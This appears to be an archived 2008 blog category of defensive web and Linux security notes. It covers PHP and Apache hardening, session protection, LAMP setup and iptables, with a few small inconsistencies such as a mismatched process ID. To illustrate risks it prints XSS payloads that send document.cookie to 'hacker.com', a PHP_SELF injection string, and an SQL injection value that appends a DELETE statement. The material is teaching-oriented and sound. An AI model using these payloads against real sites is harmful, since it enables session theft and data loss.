Archive for the ‘Web Dev Security’ Category

Linux - Getting Back a Deleted File

Wednesday, June 25th, 2008

You can get back deleted files if they are still loaded by any application. For example, let’s say I’ve deleted the file myfile by mistake but I have got it still open with vim. What I can do in order to have it back is as follows.

$ lsof | grep myfile
less 5000 dan 4r REG 3,65 23383 1433722 /home/dan/myfile (deleted)

The first column is the command associated with the process, the second column is the process id, and the fourth column is the file descriptor (the “r” means that it’s a regular file). Now you know that process 5000 still has the file open, and you know the file descriptor, that’s everything you have to know to copy it out of /proc. $ cp /proc/4158/fd/4 myfile.saved

Inspired by: http://www.linux.com/articles/58142

Secure PHP & Apache Configuration

Saturday, May 10th, 2008

PHP

  • Disable error messages
  • expose_php Off
  • session.use_only_cookies = 1
  • allow_url_fopen Off

    [if you don’t really need the opposite]

  • register_globals = Off
  • magic_quotes_gpc = ???

    This directive was introduced for improving security preventing SQL Injections, and it does. But it’s much better to put it Off and take care of escaping characters by yourself inside the PHP code for two main reasons. It doesn’t use a native function for your database and adds a level of complexity (infact if one of your input data can contain some quotes you’d need to use the stripslashes function )

Apache

  • ServerTokens ProductOnly
  • ServerSignature Off

In a shared environment you could use these directives as well (for PHP):

  • disable_functions
  • enable_dl
  • memory_limit
  • max filesize in uploading
  • safemode ON

Web Development Security

Friday, March 28th, 2008

The most of these notes come from this book:
Essential PHP Security, Chris Shiflett, O’Reilly, First Edition
ISBN: 0-596-00656-XX

Don’t underestimate a risk just because it’s impossible it happens: hackers are very clever and more expert than you. They could find a new bug.

Defence in Depth: if an hacker breaks one of your walls, it would be great if another wall stops him.

  • (page 9)
    It could be a good idea to use basename() and dirname() to filter filenames coming from outside the application when possible, because an hacker could use ‘..‘ to browse the filesystem.
  • (page 13)
    Filter any input data (from cookies, post, get and even database) and put it in a secure array called $clean_input, for example.
    Use this function to filter data to display (and put any variable in an array called $clean_output, for example) in order to avoid Cross-Site Scripting:

    htmlentities(…., ENT_QUOTES, ‘UTF-8′)

    the last argument must be the one used for the ‘Content-type’ meta tag

  • (page 22)
    When a file is uploaded, check you’re actually working on the uploaded one (an hacker could have manipulated the ‘tmp_name’ value)

    $filename = $_FILES[’….’][’tmp_name’];
    if ( is_uploaded_file($filename) ) { // anti-hacking check
    // all the operations on the file
    }
  • (page 28)
    Against CSRF (Cross-Site Request Forgery) attach:
    If a form performs an action:
    _ POST method rather than GET method (weak barrier)
    _ use a random token to validate the form, that could even expire after a certain time (in this way you’ll be sure the form has been actually submitted from your site and nobody is trying to mimic a form)
  • (page 33)
    Filter also data coming from the db because they could have been injected maliciously.
    Even the $_SERVER and $_ENV superglobals don’t actually contain data purely from the server and its environment. For instance, $_SERVER[’HTTP_HOST’] and $_SERVER[’REQUEST_URI’] both come directly from the client’s request. $_SERVER[’PHP_SELF’] comes from the client request for the page. Then, this code:

    <form action="< ?=$_SERVER['PHP_SELF']?>“>
    

    is vulnerable, infact $_SERVER[’PHP_SELF’] could contain:

    http://myapp.com/foo.php/"><script>alert("Hello!");</script>< 
  • (page 36):
    md5 by itself is not that secure anymore (http://md5.rednoize.com/). So salt it!

    $salt = ‘TRFFGTRE’;
    $password_hash = md5($salt . md5($password . $salt));
  • (page 43):
    Encrypt session data with the help of:
    session_set_save_handler()
  • (page 46)
    Session Fixation is when an hacker will provide a victim with an URL with a KNOWN session URL attached (for example in an email for the user to click on). After that, the hacker will try to visit the site using that session id and it could be possible they will be authenticate as the victim.
    Against that:
    session_regenerate_id() when there’s a change in user privileges (typically after a success login in)
  • (page 48)
    As a further protection against Session Thief there’s the checking of the HTTP-USER-AGENT HTTP Header (that you need to store as a session variable). This is the most reliable (but not completely!) header as the other ones (for example ‘Accept’) could change during the visitor navigation. As you can’t be 100% sure it’s an attack if the User Agent changes, just simply ask again for the password.

    To filter data use:
    ctype_alpha
    ctype_digit [all characters are digits, no point allowed]
    is_numeric

  • (page 66)
    To throttle the brute force attack in the authentication system, disable a user account after a certain number of failure.
  • (page 72)
    When you have a ‘remember me’ facility to allow users have a persistent login, you should change the cookie (in which there will be stored a session ID) every time the user visit the site (not on every page load, so you’ll need to set an interval). Then a potential cookie thief will not have access forever.
  • (page72)
    Change the session ID each time there’s a gaining in user permission so if there was a session theft, the thief can’t gain high privileges.

Misc:

  • SQL injection: use mysql_real_escape_string and cast to integer for integer! mysql_real_escape_string doesn’t do the job with integer. Infact
    mysql_query("SELECT * FROM test where id=" . $_GET['id']);
    

    and

    $_GET['id'] = "3; DELETE FROM test";
    

    (we are wrongly supposing mysql_query can execute more than one query)

  • If you expect to receive UTF8 from the browser, you should make sure it actually is, for example using utf8_encode.
  • Protect your admin area not just with PHP Authehtication but also with HTTP Authehtication
  • OpenSource Project: give to admin area a non-default URL
  • Best practise: consider all files stored within the Document Root to be public. Put as many files as possible out of the Document Root. The only files that should be stored within Document Root are those that absolutely must be accessible via URL.
  • Ask for the password again, before any very sensitive transaction
  • Class InputFilter with all the general purpose filtering (email address, telephone number, …) and a ‘check class’ for every class that inherits from InputFilter (for example - User_InputFilter with all the check methods for the class User that inherits from InputFilter,… )

Other more obvious:

  • keep everything updated
  • less privilege as possible
  • any file in the document root can be accessed directly (even if you mean to use it just as an included file). So more attention to PHP documents that haven’t got an extension recognize as a PHP extension by Apache. So, basically, give all the php files the php extension.
  • Semantic URL attack
  • Upload attack: try to upload a malicious PHP file
  • Filename manipulation for the includes
  • Command Injection

Allowing HTML
If you need to let your users insert HTML (for example though a WYSIWYG editor), you can end up with something like these:


<style>
body { display: none !important }
</style>

<script>
location.href = 'http://hacker.com/?cookies='+document.cookie;
</script>

The solution should be to use strip_tags that removes tag entities, leaving only those specified. But there can be these problems:


<b style="display: block;
	  postition: absolute;
	  top: 0px;
	  left: 0px;
	  width: 100%;
	  height: 100%;
	  background-color; #ffffff;">
Hello World!
</b>

<b onmouseover="location.href = 'http://hacker.com/?cookies=' + document.cookie;">hello world</b>

So we need to filter both by tag and by attribute.
You can use a whitelist that contains all the dangerous elements such as: script, onclick, style, onmousedown. Even better, rather that a list of what ypu don’t want (you need to update it with potential new JS methods), you can have a list of what you allow.
Another problem is balancing tags to fix stuff like these (user mistakes or malicious attempts):

<b>hello world
</div></div></div></div></div>hello world

Security in a Shared Hosting
But they could be very useful even on a non-shared environment in accordance with the principle of Defence in depth.

  • (page 75)
    Store all the sensitive data in the database. Yes, but where to store the credential for accessing the database in order not to be accessible by other users on the server?

    • Create a file /path/my.conf readable just by root. Put these lines in it:

      SetEnv DB_USER “myuser
      SetEnv DB_PASS “mypass
    • Then, in your httpd.conf, add this line:

      Include “/path/my.conf

    In this way, thanks to the SetEnv instruction, we have created some environment variables in Apache that can be used inside our PHP code.
    Then, our config.php (or however you want to call it) won’t contain the username and password for the database but something like this:

    $db_user = $_SERVER[’DB_USER’];
    $db_pass = $_SERVER[’DB_PASS’];

    Two notes:

    • The file /path/my.conf is readable just by root then the Apache children processes won’t be able to read it. But the main (father) process is owned by root (in order to access the port 80) so it will be able to read that file when loading the configuration.
    • Be very careful with phpinfo().Disable it (throught the disable_functions directive) because it displays all the environment variables and then also our password.
  • The session data is in /tmp then the other users could read/write it with a very simple script (because of the weak permission of that directory). Then it’s much better move the session data in the database. How to do that?

    • Create the table
    • redefine session_set_save_handler before calling the function session_start

    The rest of the code will not change!

  • The other users on the server could include your files (guessing the path) or use a script in their space to browse the files in your space (they can go to the /home directory to find out the usernames on the server), then you should consider all the source code on a shared environment to be public
    The directive Safe Mode set to on surely helps but keep in mind:

    • hacker could run script in other languages (Perl, Python,…)
    • it doesn’t prevent from reading files owned by the Web Server

Secure Login without SSL - using Javascript MD5 library

Friday, February 29th, 2008

http://iamjosh.wordpress.com/2008/03/18/encrypting-login-password-without-ssl-in-ruby-on-rails/

http://pajhome.org.uk/crypt/md5/

Server Setup and LAMP Setup From Scratch with full UTF support (utf8)

Sunday, February 3rd, 2008

Set the clock
date MMDDhhmmYYYY
hwclock –systohc &

Where: M=month, D=day, h=hour, m=minute, Y=year
The latter command is essential: it copies the date into the BIOS and makes the change definitive

First steps
* echo “hostname_you_chose” > /etc/hostname
/bin/hostname -F /etc/hostname

Changing the hostname could be very different distro by distro.

* /etc/host.conf :
order hosts,bind
multi on
* /etc/hosts:
127.0.0.1 localhost.localdomain localhost
192.168.0.10 hostname_you_chose.localdomain hostname_you_chose
* Add these lines at the bottom of the file /etc/profile (or of the file .bashrc of an user - even root - whether you want these options applied just on a specific user):
alias ls=’ls –color’
alias rm=”rm -i”
alias halt=”echo command disabled by alias”
alias ifdown=”echo command disabled by alias”
alias iptables=”echo you’re working on the server!”
alias exit=”/etc/init.d/general_check.sh; exit”

where /etc/init.d/general_check.sh is a script that performs some important check (permission, file existance, …) to make sure you’re not ruining anything in your last session.

N.B.: in the above commands, it’s very important not to use extra spaces between words.

Cleaning up the system

* nmap server_ip_address [to find out the open ports]
* Disable portmap (if active). It should be binded to the port 111 and refers to the service rpcbind.
* Disable fingerd (if active)
* IMPORTANT: if you want to shutdown a service, it’s not sufficient you stop it but you must be sure there isn’t a symbolic link in /etc/rcX.d
* IMPORTANT: don’t uninstall at all the default MTA (for example exim4) because it could be essential for the local operations.

SSH e SCP

/etc/ssh/sshd_config: [both for improving security]
Port a_different_port_rather_than_the_default_one
PermitRootLogin no

Before restarting sshd, MAKE SURE there is a non-root user in your system who can connect via SSH (and test it in another terminal), otherwise you’re bust!!!!!!!!!!!!!!!!!!!!!!!!!!

useradd -g users -s /bin/bash daniele
passwd daniele

Apache

Change the default user and group owner of the apache processes. Let’s say, user: pippo and group: pippo.
groupadd pippo
useradd -g pippo -s /dev/null pippo

So in the configuration file:
User pippo
Group pippo
and through the command line:

In this way, the user pippo won’t be granted to login to the system and launch commands. These should increase the security.

Then, create a new user that will be the owner of all the web documents. It must belong to the group pippo so Apache can access the web documents as well.

useradd -g pippo -d /var/www/html/ -s /bin/bash dev

chown -R dev:pippo /var/www/html

chmod -R 770 /var/www/html

chown -R dev:pippo directory_that_contains_sessions_see_the_php_ini

Always in the configuration file, remember to disable potential directives for the generation of the log file for the rewrite module (unless you temporary need it for debugging) as it’s very computation intensive.

Always in the configuration file, check that DirectoryIndex directive contains:

index.html index.htm index.php

Remember to customize the error pages, for example:
ErrorDocument 404 /misc/error_pages/error_404.php
You can put it in the VirtualHost Section

MySQL

Set a (very hard to guess!) password for root
mysqladmin -u root password root_password_you_like
IMPORTANT: don’t use the same password as for the root user in Linux
You could need this for the changes to take effect:
mysqladmin -u root -p flush-privileges

MySQL allows anonymous login by default. To disable it, just Google on the MySQL documentation.

To access the server:
mysql -u root -p

IMPORTANT: take a look at the user table. Make sure any user has got a password and they can access the server only locally that is they have ‘localhost’ as host. You can modify this table through the GRANT command.

IMPORTANT: Set utf8_general_ci as the server default collation

IMPORTANT: The databases are stored in /var/lib/mysql

touch /var/log/mysqld_slow_queries.log
chown mysql:mysql /var/log/mysqld_slow_queries.log
chmod 640 /var/log/mysqld_slow_queries.log
In the my.cnf
log-slow-queries = /var/log/mysqld_slow_queries.log
long_query_time = 1
The above will log queries taking longer than one second to the specified log file.

PHP

If you’re confident no malicious scripts will be running, increase
max_execution_time
memory_limit

Make the services start at the boot

This is achieved by symbolic links in the directory related to the runlevels.

Make everything UTF8

  • httpd.conf:
    AddCharset UTF-8 .utf8
    AddDefaultCharset UTF-8
  • php.ini
    default_charset = “utf-8″
  • my.cnf
    character-set-server=utf8
    default-collation=utf8_unicode_ci

    Then, if you’re writing PHP scripts, soon after opening your connection to mysql, issue one of the following:
    SET NAMES ‘utf8′;
    OR, if you are running the mysqli extension:
    mysqli_set_charset(’utf8′);

  • Last suggestions

    * Make sure you gave the minimal permission to any file added or modified in the server
    * Set a cron job for backups
    * Make sure the log for cron is active. There should be a line to uncomment in the file /etc/syslog.conf or something similar. The log file should be /var/log/cron.log. Then restart the cron service.
    * Keep your system updated with security patches and new versions of the installed software.

Server: Setting a Firewall With Iptables

Sunday, January 6th, 2008
  • Copy the file iptables.sh in the directory /etc/init.d with these rules (but obviously you need to customize them).
  • Make the file executable.
  • Assuming the current run level is the second one:ln -s /etc/init.d/iptables.sh /etc/rc2.d/S97iptables
    Actually you should link the script in any runlevel to cover the case you change runlevel, even temporary.

******************************************************************

iptables script

******************************************************************

Useful Commands:
List of active rules:
iptables -L
Removes all the rules
iptables -F